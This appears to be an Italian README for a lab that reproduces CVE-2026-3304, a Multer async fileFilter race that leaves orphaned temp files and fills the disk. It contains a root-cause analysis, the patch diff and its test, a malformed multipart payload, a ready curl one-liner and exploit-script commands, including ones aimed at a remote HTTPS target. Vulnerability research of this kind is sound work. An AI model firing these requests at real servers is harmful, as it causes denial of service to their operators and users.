
# Laboratorio di riproduzione per CVE-2026-3304, una condizione di gara in fileFilter asincrono di Multer che causa l'esaurimento del disco tramite file temporanei orfani. Include server Docker vulnerabili e corretti, script di exploit e analisi della causa principale.
Solo per scopi educativi e di ricerca. Attaccare sistemi senza autorizzazione è illegale.
Questo ambiente di laboratorio è stato costruito analizzando la patch di Multer 2.1.0 e il suo codice di test ufficiale. Il server vulnerabile replica le condizioni esatte descritte nel test della patch, e il server corretto esegue Multer 2.1.0 per confermare che la correzione funziona.
| Campo | Dettagli |
|---|
| CVE | CVE-2026-3304 |
| Target | Multer < 2.1.0 (middleware multipart/form-data di Node.js) |
| Tipo | DoS — File Orfano (pulizia incompleta dei file temporanei) |
| CWE | CWE-459: Pulizia Incompleta |
| CVSS 4.0 | 8.7 ALTO |
| Versione Corretta | Multer 2.1.0 |
Una richiesta multipart malformata con un attributo name mancante su una parte di file fa sì che Multer crei un file temporaneo su disco senza mai pulirlo. Richieste ripetute esauriscono lo spazio su disco, provocando un Denial of Service.
La vulnerabilità ha origine nel flusso di gestione del callback fileFilter all'interno di multer/lib/make-middleware.js.
Quando Multer trasmette e analizza una richiesta multipart parte per parte, si verifica la seguente sequenza:
[Sequenza degli eventi di parsing — versione vulnerabile]
1. Intestazione della Parte 1 ricevuta
→ fileFilter(req, file, cb) chiamato
→ setImmediate(cb) → callback rimandato al tick successivo del ciclo di eventi
2. Corpo della Parte 1 ricevuto
→ /tmp/uploads/<uuid> aperto, i dati iniziano a essere scritti
3. Intestazione della Parte 2 ricevuta (attributo name mancante)
→ Multer rileva 'name mancante'
→ errorOccured = true ← flag di errore impostato
→ abortWithCode('LIMIT_FIELD_KEY') chiamato → HTTP 500 pianificato
4. Il callback di setImmediate viene eseguito (tick successivo del ciclo di eventi)
→ risultato di fileFilter: includeFile = true (flusso normale)
→ [BUG] il flag errorOccured NON viene controllato
→ storage._handleFile() chiamato → file temporaneo salvato su disco
5. Risposta HTTP 500 inviata
→ il file temporaneo rimane su disco (file orfano)
make-middleware.js — Multer < 2.1.0)// callback di completamento di fileFilter (rimandato tramite setImmediate)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured non viene mai controllato qui
// anche se è stato impostato un errore durante il parsing della Parte 2, l'esecuzione continua
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// il file temporaneo viene registrato in uploadedFiles e lasciato su disco
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
Perché setImmediate è il problema?
Avvolgere fileFilter con setImmediate rimanda il suo callback al tick successivo del ciclo di eventi.
In quella finestra, busboy (il parser multipart) continua ad analizzare le intestazioni della parte successiva,
scopre il name mancante e imposta errorOccured = true.
Quando il callback riprende, lo stato di errore è già impostato — ma il codice non lo controlla mai,
quindi storage._handleFile viene chiamato incondizionatamente e il file temporaneo viene scritto su disco.
Commit di correzione: 739919097d
Un singolo controllo if (errorOccured) è stato aggiunto immediatamente dopo l'ingresso del callback fileFilter,
prima che venga raggiunto storage._handleFile.
// callback di completamento di fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [PATCH] Controlla errorOccured prima di procedere
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // drena lo stream — nessun file scritto su disco
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| Elemento | Vulnerabile (< 2.1.0) | Corretto (2.1.0) |
|---|---|---|
Controllo errorOccured | ❌ Non controllato | ✅ Controllato immediatamente all'ingresso del callback |
_handleFile chiamato in caso di errore | Sì | Bloccato |
| Pulizia del file temporaneo | ❌ Mancante | ✅ Tramite fileStream.resume() |
| File orfani per richiesta | 1 | 0 |
Perché fileStream.resume() pulisce:
Chiamare fileStream.resume() drena e scarta lo stream senza passarlo a DiskStorage,
quindi nessun file viene scritto e nulla rimane su disco.
Il team di Multer ha incluso il seguente test Mocha nella patch 2.1.0 per verificare la correzione.
Questo test è diventato il modello per questo ambiente di laboratorio — il server vulnerabile
replica la configurazione esatta qui descritta (setImmediate fileFilter + richiesta multipart malformata),
e il comportamento atteso viene verificato sia sulla versione vulnerabile che su quella corretta.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('pulizia async fileFilter', function () {
it('non lascia file orfani quando la richiesta viene interrotta con nome campo mancante', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Trigger della vulnerabilità: fileFilter async tramite setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Gestore degli errori: risponde con 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Corpo dannoso: Parte 1 valida, Parte 2 con attributo name mancante
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= mancante
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: il server deve rispondere con 400 (errore)
assert.strictEqual(res.statusCode, 400)
// Assert 2: nessun file orfano deve rimanere su disco
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| Assert | Significato |
|---|---|
res.statusCode === 400 | Multer rifiuta correttamente la richiesta malformata |
files.length === 0 | Nessun file orfano lasciato su disco (patch verificata) |
Su una versione vulnerabile (< 2.1.0), files.length è uguale a 1 e l'assert fallisce.
Questo laboratorio rispecchia direttamente la configurazione del test della patch sopra descritta.
Server vulnerabile (Dockerfile + app/server.js) esegue Multer 2.0.2 con un fileFilter async
che utilizza setImmediate — la condizione di trigger esatta del test della patch:
// app/server.js — replica il trigger della vulnerabilità del test della patch
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← rimanda il callback, creando la condizione di race
cb(null, true)
})
}
})
Server corretto (Dockerfile.patched) esegue lo stesso server.js ma installa Multer 2.1.0,
dove il controllo errorOccured è presente — corrispondendo allo stato di superamento atteso del test della patch.
| Server | Porta | Multer | Comportamento atteso |
|---|---|---|---|
| Vulnerabile | 3000 | 2.0.2 | File orfano creato per ogni richiesta malformata |
| Corretto | 3001 | 2.1.0 | Nessun file orfano — la pulizia funziona correttamente |
Nota: Passare
fileFiltera sincrono (rimuovendosetImmediate) previene i file orfani anche su Multer < 2.1.0. La vulnerabilità richiede entrambe le condizioni: unfileFilterasync e il controlloerrorOccuredmancante.
L'attacco invia una POST multipart/form-data in cui la seconda parte manca dell'attributo name richiesto.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<dati binari>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← Parte 1: valida, file temporaneo creato qui
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← Parte 2: name= mancante!
Content-Type: application/octet-stream
x
------Boundary--
Esecuzione lato server:
1. Arriva la Parte 1 → Multer apre /tmp/uploads/<uuid> e inizia a scrivere
2. fileFilter chiamato con setImmediate → callback rimandato
3. Arriva la Parte 2 → Multer rileva il name mancante → errorOccured = true
4. setImmediate si attiva → il callback di fileFilter viene eseguito
5. [BUG] errorOccured non controllato → storage._handleFile chiamato
6. File temporaneo scritto su disco
7. HTTP 500 restituito
8. /tmp/uploads/<uuid> rimane su disco per sempre ← file orfano
Risposta del server:
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
Controlla i file orfani immediatamente dopo:
curl http://localhost:3000/status
pip install requests)# Avvia i server vulnerabile (porta 3000) + corretto (porta 3001)
docker compose up -d --build
# Verifica che entrambi siano in esecuzione
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# Default (50 richieste)
python3 exploit/exploit.py
# Attacco pesante (500 richieste, payload da 5 KB ciascuna)
python3 exploit/exploit.py --count 500 --size 5120
# Contro target HTTPS con certificato autofirmato
python3 exploit/exploit.py --target https://target.example.com --no-verify
# Confronto con la versione corretta
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| Target | Risultato |
|---|---|
| Server vulnerabile (3000) | File orfano creato per ogni richiesta, il disco cresce continuamente |
| Server corretto (3001) | 0 file orfani indipendentemente dal numero di richieste |
[*] CVE-2026-3304 Exploit DoS File Orfano Multer
[*] Target : http://localhost:3000/upload
[*] Richieste: 50 | Ritardo: 0.0s | Payload: 2048 byte
------------------------------------------------------------
[*] Prima dell'attacco — file orfani: 0
[ 10/50] risposta 500: True | file orfani: 10 | disco: 20.00 KB
[ 20/50] risposta 500: True | file orfani: 20 | disco: 40.00 KB
[ 30/50] risposta 500: True | file orfani: 30 | disco: 60.00 KB
[ 40/50] risposta 500: True | file orfani: 40 | disco: 80.00 KB
[ 50/50] risposta 500: True | file orfani: 50 | disco: 100.00 KB
============================================================
[Risultato] Richieste totali: 50 | Attivate: 50
[Risultato] File orfani: 0 -> 50
[Risultato] Disco sprecato: 100.00 KB
[!] VULNERABILE: 50 file temporanei lasciati su disco, mai puliti
[!] Attacchi ripetuti esauriranno lo spazio su disco (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
Prima dell'attacco:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
Dopo 200 richieste × 5 KB:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
Ogni file orfano rimane su disco in modo permanente finché il server non viene riavviato o pulito manualmente. Il tmpfs del container è limitato a 50 MB — raggiungere il limite causa il fallimento del server su nuovi upload.
Esecuzione 1: file orfani 0 -> 50 (100 KB)
Esecuzione 2: file orfani 50 -> 100 (200 KB)
↑ i file dell'esecuzione 1 sono ancora presenti — mai puliti
[ 10/50] risposta 500: True | file orfani: 0 | disco: 0.00 KB
[ 20/50] risposta 500: True | file orfani: 0 | disco: 0.00 KB
[ 30/50] risposta 500: True | file orfani: 0 | disco: 0.00 KB
[ 40/50] risposta 500: True | file orfani: 0 | disco: 0.00 KB
[ 50/50] risposta 500: True | file orfani: 0 | disco: 0.00 KB
[*] Nessun file orfano — la versione corretta pulisce correttamente
docker compose down